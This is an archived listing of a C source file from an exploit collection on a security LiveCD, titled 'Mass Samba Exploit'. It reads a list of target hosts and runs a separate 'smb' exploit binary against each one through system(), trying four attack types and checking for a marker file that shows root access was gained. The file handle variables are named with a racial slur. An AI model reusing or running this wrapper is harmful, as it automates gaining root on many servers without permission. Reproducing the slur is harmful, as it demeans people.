home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / sambal2-mass.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  54 lines

  1. /* 
  2.  * Mass Samba Exploit by Schizoprenic
  3.  * Xnuxer-Research (c) 2003
  4.  * This code just for eduction purpose 
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <sys/stat.h>
  10.  
  11. void usage(char *s)
  12. {
  13.   printf("Usage: %s <inputfile> <your_ip>\n",s);
  14.   exit(-1);
  15. }
  16.  
  17. int main(int argc, char **argv)
  18. {
  19.   printf("Mass Samba Exploit by Schizoprenic\n");
  20.   if(argc != 3) usage(argv[0]);
  21.   scan(argv[1], argv[2]);
  22.   return 0;
  23. }
  24.  
  25. int scan(char *fl, char *bind_ip)
  26. {
  27.   FILE *nigger,*fstat;
  28.   char buf[512];
  29.   char cmd[100];
  30.   int i;
  31.   struct stat st;
  32.    
  33.   if((nigger=fopen(fl,"r")) == NULL) {
  34.     fprintf(stderr,"File %s not found!\n", fl);
  35.     return -1;
  36.   }
  37.  
  38.   while(fgets(buf,512,nigger) != NULL)
  39.   {
  40.     if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1]=0;
  41.     for (i=0;i<4;i++) {
  42.        sprintf(cmd, "./smb %d %s %s", i, buf, bind_ip);
  43.        printf("\nTrying get root %s use type %d ...\n",buf,i);
  44.        system(cmd);
  45.        if (stat(".ROOT", &st) != -1) {
  46.           unlink(".ROOT");
  47.           break; 
  48.        }
  49.     }    
  50.   }
  51.   fclose(nigger);
  52.   printf("\nMass exploiting finished.\n");
  53. }
  54.